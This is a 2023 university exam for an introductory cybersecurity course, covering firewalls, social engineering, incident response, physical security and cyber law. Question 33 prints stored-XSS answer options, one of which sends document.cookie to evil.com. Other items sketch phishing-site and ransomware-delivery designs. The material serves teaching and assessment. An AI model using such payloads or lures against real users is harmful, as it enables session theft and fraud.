VICTORIA UNIVERSITY OF
WELLINGTON
TE HERENGA WAKA

EXAMINATIONS – 2023

TRIMESTER 1

CYBR 171

CYBERSECURITY FUNDAMENTALS

June 9, 2023

Time Allowed: TWO HOURS (120 minutes)

CLOSED BOOK

Permitted materials:

- Only silent non-programmable calculators or silent programmable calculators with their memories cleared are permitted in this test.
- Printed English to foreign language dictionaries are permitted.
- No other material is permitted.

Instructions:

- Attempt **ALL** questions in this booklet.
- This test contributes 25% of your final grade.
- Section A on pages 3 to 8 has THIRTY multi-choice questions.
- Section B on pages 9 to 11 has TEN multi-choice questions.
- Choose your answer for each question in Sections A and B, and mark it on the multi-choice answer sheet provided, **NOT** in this question booklet. Any answers for Sections A or B in the question booklet **WILL NOT BE MARKED**.
- Read the instructions given on the answer sheet on how to mark your answers.
- **Hand in the multi-choice answer sheet.**
- Section C on pages 12 to 14 has FIVE written short answer questions.
- Write answers to Section C in the spaces provided in the test booklet.
- **Hand in the test booklet.**

Questions	**Marks**	
1. Section A - CONCEPTS	[30]	
2. Section B - APPLYING CONCEPTS	[20]	
3. Section C - SHORT ANSWERS	[25]	
	TOTAL:	

This page intentionally left blank.

SECTION A CONCEPTS [30 marks]

Question 1. Which of the following terms describes the set of instructions and actions to be performed at every step in the incident response (IR) process? [1 mark]

A. Analysis steps.

B. Playbook.

C. Recovery manual.

D. Response plan.

Question 2. What is the purpose of a firewall? [1 mark]

A. To back up important files.

B. To encrypt data transmissions.

C. To prevent unauthorised access to a network.

D. To protect against physical threats.

Question 3. What is a phishing attack? [1 mark]

A. A type of denial-of-service attack that floods a network with traffic.

B. A type of intrusion that exploits a vulnerability in a system to steal sensitive information.

C. A type of malware that spreads through email attachments.

D. A type of social engineering attack that tricks users into revealing sensitive information.

Question 4. Which one of the following categories of protection component would Ruapekapeka's location inland from the coast BEST fit? [1 mark]

A. Alarm.

B. Delay.

C. Detect.

D. Deter.

Question 5. Which of the following is a technique used by attackers to gain access to a system by tricking a user into running malicious code? [1 mark]

A. Man-in-the-middle attack.

B. Path traversal attack.

C. Social engineering.

D. SQL injection.

Question 6. Which one of the following is the correct definition of Locard's exchange principle as discussed in the lectures? **[1 mark]**

A. A trace left by an event will be visible on the objects involved.

B. When an event affects an object, it will leave a trace of its occurrence.

C. When an event happens, it leaves a trace.

D. When two objects come into contact, they leave a trace on each other.

Question 7. A baiting social engineering attack involves: **[1 mark]**

A. Benefit in exchange for information.

B. Fear and urgency.

C. Involves the victim in what they think is an illegal activity.

D. Promise of an item or good that is desirable to the victim.

Question 8. Which of the techniques can be used to stop a path traversal attack on a web application? **[1 mark]**

A. Re-authenticate every request.

B. Sanitize user-controlled data.

C. Set secure flag on cookie.

D. Use access controls.

Question 9. Which of the following techniques can be used to stop a cross-site request forgery (CSRF) attack on a web application? **[1 mark]**

A. Re-authenticate every request.

B. Sanitize user-controlled data.

C. Set secure flag on cookie.

D. Use access controls.

Question 10. What is the main purpose of the containment step in incident response? **[1 mark]**

A. Collect evidence about the threat actor's activities.

B. Observe the actions of the threat actor.

C. Remove the threat actor.

D. Stop the threat actor from spreading laterally to other machines.

Question 11. What is the <u>MAIN</u> purpose of a VPN? **[1 mark]**

A. To back up important files.

B. To encrypt data transmissions.

C. To prevent unauthorised access to a network.

D. To protect against physical threats.

Question 12. What is the main reason for the discussion of physical security in a course on cybersecurity? [1 mark]

A. Attackers might damage your property through vandalism.

B. Attackers might dumpster-dive to steal commercial secrets.

C. Attackers might target your physical cash for theft.

D. Attackers might use physical access to defeat any of your security technologies.

Question 13. Your Intrusion Detection System (IDS) reports an attack but on investigation you discover that this was an error. What type of error is this? [1 mark]

A. False negative.

B. False positive.

C. True negative.

D. True positive.

Question 14. What technology provides anonymous internet browsing by routing traffic through a network of volunteer-operated nodes? [1 mark]

A. Firewall.

B. NAT.

C. Tor.

D. VPN.

Question 15. What is the definition of *real* evidence as discussed in the lectures? [1 mark]

A. Any evidence given by a first party.

B. Any evidence such as an inanimate object.

C. Any hearsay evidence.

D. The best or "first hand" evidence.

Question 16. Which of the following is TRUE for the "steal the cookie" attack? [1 mark]

A. Allows an attacker to impersonate the user.

B. Can ONLY be prevented by setting the secure flag on a cookie.

C. Exposes the user′s password to the attacker.

D. Prevention only requires the login page to be protected by HTTPS.

Question 17. What human emotion does Pre-texting exploit? [1 mark]

A. Anxiety.

B. Fear.

C. Sadness.

D. Trust.

Question 18. The CORRECT ordering of the steps involved in a social engineering attack is: [1 mark]

A. Define your goal, build trust, exploit the relationship, seek information and use the information gathered for malicious purposes.

B. Define your goal, build trust, seek information, exploit the relationship and use the information gathered for malicious purposes.

C. Define your goal, build trust, seek information, use the information gathered for malicious purposes and exploit the relationship.

D. Define your goal, seek information, build trust, exploit the relationship and use the information gathered for malicious purposes.

Question 19. What is considered to be the WEAKEST link in any security system? [1 mark]

A. Cryptography.

B. Legal powers.

C. Passwords.

D. People.

Question 20. Which of the following psychological experiments investigated people's willingness to obey others even if asked to do immoral things? [1 mark]

A. Asch's experiment.

B. Jones & Harris' experiment.

C. Milgram's experiment.

D. Zimbardo's prisoner experiment.

Question 21. Which of these devices best represents an example of physical access controls with respect to building infrastructure as discussed in the lectures? [1 mark]

A. Hidden utility controls.

B. Intrusion detection system.

C. Motion detectors.

D. Secure recycling bins.

Question 22. What technology is used to block unauthorised access to a network by analysing incoming and outgoing traffic and allowing or blocking it based on predefined security rules? [1 mark]

A. Firewall.

B. NAT.

C. Tor.

D. VPN.

Question 23. What is the BEST description of the principle of defence-in-depth? [1 mark]

A. Minimise privilege required by users.

B. Multiple protection components.

C. Strong encryption.

D. Strong protection components.

Question 24. Which one of the following categories of protection component would Ruapekapeka's position on the hill allowing easy visibility of the British encampment BEST fit? [1 mark]

A. Alarm.

B. Delay.

C. Detect.

D. Respond.

Question 25. Which statement regarding tabletop exercises is FALSE? [1 mark]

A. Allows you to test the plan and playbooks.

B. Identifies whom to blame.

C. Identify gaps in the plans or playbooks.

D. Led by a facilitator.

Question 26. Which of the following descriptions MOST CLOSELY describes a VPN? [1 mark]

A. Guaranteed anonymity for users.

B. High-speed connection.

C. Private connection across an untrusted network.

D. Reliable connection to a corporate network.

Question 27. Javascript is best known as an example of a __________ side language, whereas PHP is an example of a __________ side language. [1 mark]

A. Client, Client.

B. Client, Server.

C. Server, Client.

D. Server, Server.

Question 28. Which one of the following statements about a protection system is FALSE? [1 mark]

A. Both physical and software components may be included.

B. Ideally has multiple layers of defence.

C. Usually has a goal.

D. Will always protect all assets.

Question 29. Imagine a building with a front door that requires a swipe card to open. Attackers are gaining unauthorised access to the building by tailgating.
How would you BEST prevent this from happening? [1 mark]

A. Add an employee photo to the swipe card.

B. Place better lighting over the door to remove shadows where attackers might hide.

C. Replace swipe cards with physical keys.

D. Replace the door with a swipe card controlled turnstile that only allows one person at a time to enter.

Question 30. What does the acronym CSIRT stand for? [1 mark]

A. Computer Security Incident Reaction Team.

B. Computer Security Incident Response Team.

C. Cyber Security Incident Reaction Team.

D. Cyber Security Incident Response Team.

SECTION B APPLYING CONCEPTS [20 marks]

Question 31. You are a security consultant hired to test the security of a bank's online system. During your testing, you discover a vulnerability that allows you to access the system without proper authentication. You immediately report the vulnerability to the bank's security team, but they refuse to address the issue. You then contact a journalist to report the vulnerability publicly, hoping to pressure the bank into fixing it. As a result, you are arrested and charged under the New Zealand Crimes Act for unauthorised access to the bank's system. Which of the following arguments regarding your guilt is CORRECT? [2 marks]

A. Guilty, as you accessed the bank's system without proper authorization.

B. Guilty, as your decision to contact a journalist was an unauthorised attempt to force the bank to address the vulnerability.

C. Not guilty, as you had permission from the bank to test their security.

D. Not guilty, as you reported the vulnerability to the bank's security team.

Question 32. Which of these statements is TRUE about the following firewall rule, considering 192.168.0.50 is the IP address of a machine on the internal network? [2 marks]

```
| direction | src | dst          | protocol | dest port | action   |
| in        | *   | 192.168.0.50 | *        | *         | allow    |
```

A. All communications from a specific machine on the internal network to any external machine are allowed.

B. All inbound traffic to all machines on the internal network is allowed.

C. Inbound traffic to a specific machine on the internal network is allowed.

D. Only inbound HTTP traffic to a specific machine on the internal network is allowed.

**Question 33. Imagine you are an attacker who can carry out a stored XSS attack on a bank's home page (goodbank.com). Imagine that you want to send a victim to your phishing website that copies the look and feel of the real bank (goodbank.dot.com).
Which of the following pieces of code implements this attack? [2 marks]**

A.
```
<a onmouseover="window.location.href='http://evil.com/' + document.cookie" href="#">
 read this! </a>
```

B.
```
<a onmouseover="window.location.href='http://goodbank.dot.com/' + document.cookie
" href="#"> read this! </a>
```

C.
```
<a onmouseover="window.location.href ='http://bank.dot.com'" href="#"> read this!
 </a>
```

D.
```
<a onmouseover="window.location.href ='http://goodbank.dot.com'" href="#"> read this
! </a>
```

Question 34. A company's website has been hacked, and sensitive customer information has been compromised. The company's IT team has identified a potential suspect, but they are not sure if they have enough evidence to take legal action.
What is the ethical responsibility of the company in this scenario? [2 marks]

A. The company should conduct a thorough investigation before taking any legal action.

B. The company should ignore the breach and hope that it does not happen again.

C. The company should immediately terminate the employee suspected of the breach.

D. The company should report the breach to law enforcement and let them handle the investigation.

Question 35. A long-anticipated PC game is about to be released. An attacker makes available a pre-release copy of the game available via a file-sharing service via BitTorrent. The game is actually a trojan that will allow the attacker to steal banking information.
What type of attack would you classify this as? [2 marks]

A. Baiting.

B. Phishing.

C. Pre-texting.

D. Quid Pro Quo.

Question 36. A phishing attack where an attacker pretends to be a supplier to a business is best classified as a: [2 marks]

A. 419 scam.

B. Email compromise and invoice scam.

C. Spear phishing.

D. Whaling.

Question 37. A company's cybersecurity team has identified a group of cybercriminals who are attempting to hack into the company's network. The team decides to launch a counterattack against the cybercriminals to protect the company's assets.
What is the legal and ethical status of the company's actions in this scenario? [2 marks]

A. The company's actions are illegal and unethical since they are engaging in vigilante justice.

B. The company's actions are legal and ethical since they are protecting their assets.

C. The company's actions are legal but potentially unethical since they may harm innocent third parties.

D. The company's actions are legal but unethical since they are engaging in retaliation.

Question 38. Consider creating a phishing website for a well-known bank to collect login information. Which of the following statements is TRUE? [2 marks]

A. Creating a copy of the original website would be very difficult.

B. The phishing website would need to implement all of the functionality of the website to be effective.

C. You can no longer target users of the bank once the phishing website is added to a blacklist.

D. You will still be able to use the phishing website to target users of the bank, you just need to change the phishing website address.

Question 39. Assume that a target has previously been told by their IT department not to install programs sent as attachments. How would you design an attack based upon the findings from Solomon's Asch's 1951 experiment? [2 marks]

A. Identify the target's bank. Send an email claiming to be from the bank that encourages the target to install a secure messaging program attached to the email in order to complete a pending transaction. The secure messaging program is actually ransomware.

B. Identify the target's boss. Send an email from the boss that orders the target to install a secure messaging program attached to the email. The secure messaging program is actually ransomware.

C. Identify the target's friends. Send multiple emails claiming to be from their friends and encourages the target to install a secure messaging program attached to the email by saying that the attached program is secure. The secure messaging program is actually ransomware.

D. Identify a well-known security professional that the target follows on LinkedIn. Send an email claiming to be from the security professional that encourages the target to install a secure messaging program attached to the email by appealing to the target's fear of being spied upon. The secure messaging program is actually ransomware.

Question 40. You receive a phone call from someone claiming to be a technical support representative from a well-known software company. They tell you that your computer has been infected with a virus and ask for remote access to fix the problem. What should you do?? [2 marks]

A. Ask for their name and call back number, and verify their identity with the company's support team before granting remote access.

B. Ignore the call and hang up.

C. Immediately grant the request for remote access.

D. Report the call to your IT department.

SECTION C SHORT ANSWERS [25 marks]

Question 41. Explain why it is important to have multiple mechanisms in each layer of the security system. [5 marks]

Question 42. A user rings the helpdesk reporting some odd Internet banking transactions. You ask them if they had done anything that might have led to a malicious virus being installed. They say NO because they did get an attachment that they opened but that couldn't be the problem because it was from a friend of theirs. [5 marks]

(a) What is *fundamental attribution error*?

(b) How does the concept of *fundamental attribution error* apply in this context?

Question 43. List FIVE differences between legal issues (Law) and ethical issues (Ethics)? [5 marks]

Question 44. Why is a strategy based on only building solutions for exploited vulnerabilities a very bad strategy? What can be a better strategy to adopt for system security? [5 marks]

Question 45. Imagine you are working as the network adminustrator in a company, and you were asked to deploy a firewall to manage the traffic and what the employees are allowed to access on the Internet. Generate the firewall rules required to satisfy the following requirements and block everything else: [5 marks]

1. SSH traffic (port 22) to an internal machine with an IP address `132.168.1.107` is allowed.
2. HTTPS traffic (port 443) is allowed.
3. HTTP traffic (port 80) is only allwed from an internal machine with an IP address `10.0.0.50` to an external machine with an IP address `203.0.0.53`.
4. Only the external machine with an IP address `102.2.7.120` is allowed to send traffic to any internal machine on port 8061.

order ↓

Direction	Source IP	Destination IP	Port	Action

* * * * * * * * * * * * * * *

SPARE PAGE FOR EXTRA ANSWERS

Cross out rough working that you do not want marked.
Specify the question number for work that you do want marked.